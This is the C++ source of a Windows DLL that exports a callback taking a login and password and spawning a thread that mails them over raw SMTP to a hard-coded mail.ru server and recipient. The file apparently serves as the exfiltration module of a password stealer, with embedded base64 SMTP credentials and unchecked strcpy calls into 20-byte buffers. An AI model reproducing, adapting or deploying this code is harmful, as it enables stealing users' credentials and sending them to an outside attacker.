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#pragma comment(lib, "ws2_32")

// dll.cpp : Defines the entry point for the DLL application.
//

#pragma comment(lib, "ws2_32")

//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define ACC_COUNT 3

char l[20];
char p[20];
char working=100;
char str[20];

typedef struct 
{
	char l[30];
	char p[30];
	char mail[50];
} ACCOUNTS;

ACCOUNTS acci[ACC_COUNT]=
{
	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};

DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
  int accNumber=0;	
  working=0;

while(accNumber<ACC_COUNT)
{
  BOOL AllOK=true;
  BYTE sBuf[4096];
  SOCKET nSMTPServerSocket;
  struct sockaddr_in smtp_address;
  int nConnect;
  int iLength;
  int iMsg = 0;
  int iEnd = 0;

  char *MailMessage[] =
  {
	"HELO mail.ru\r\n",
	"AUTH LOGIN\r\n",
	NULL,
	NULL,
	NULL,
	"RCPT TO: xxxxx-xxxx@mail.ru\r\n",	   
	"DATA\r\n",
	NULL,
	"QUIT\r\n",
	NULL
  };

	WSADATA wsa;
  
	if (WSAStartup(MAKEWORD(2,0),&wsa))
	{
		working=100;
		return 0;
	}


	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
	strcpy(MailMessage[2],acci[accNumber].l);
	strcat(MailMessage[2],"\r\n");
	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
	strcpy(MailMessage[3],acci[accNumber].p);
	strcat(MailMessage[3],"\r\n");
	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
	strcpy(MailMessage[4],acci[accNumber].mail);
	strcat(MailMessage[4],"\r\n");
	
	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
	strcpy(MailMessage[7],l);
	strcat(MailMessage[7]," - ");
	strcat(MailMessage[7],p);
	strcat(MailMessage[7],"\r\n\r\n.\r\n");

	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

	if(nSMTPServerSocket != INVALID_SOCKET)  
	{
		
		smtp_address.sin_family = AF_INET;
		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
		smtp_address.sin_port = htons(25);

		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
															  sizeof(smtp_address));

		if(nConnect)  
		{

		}
		else  
		{
		  do  
		  {
			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
			{
				accNumber++;
				AllOK=false;
				break;
			}
			iEnd += iLength;
			sBuf[iEnd] = '\0';
			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
			iMsg++;
		  } 
		  while(MailMessage[iMsg]);
		}

	  closesocket(nSMTPServerSocket);
	  nSMTPServerSocket=NULL;
	}
  if(AllOK) break;
}
  working=100;
  return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
	return TRUE;
}

extern "C" void CALLBACK proc1(char *str,char *str2)
{
	
	strcpy(l,str);
	strcpy(p,str2);
	if(working!=0)	
	{
		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
	}
}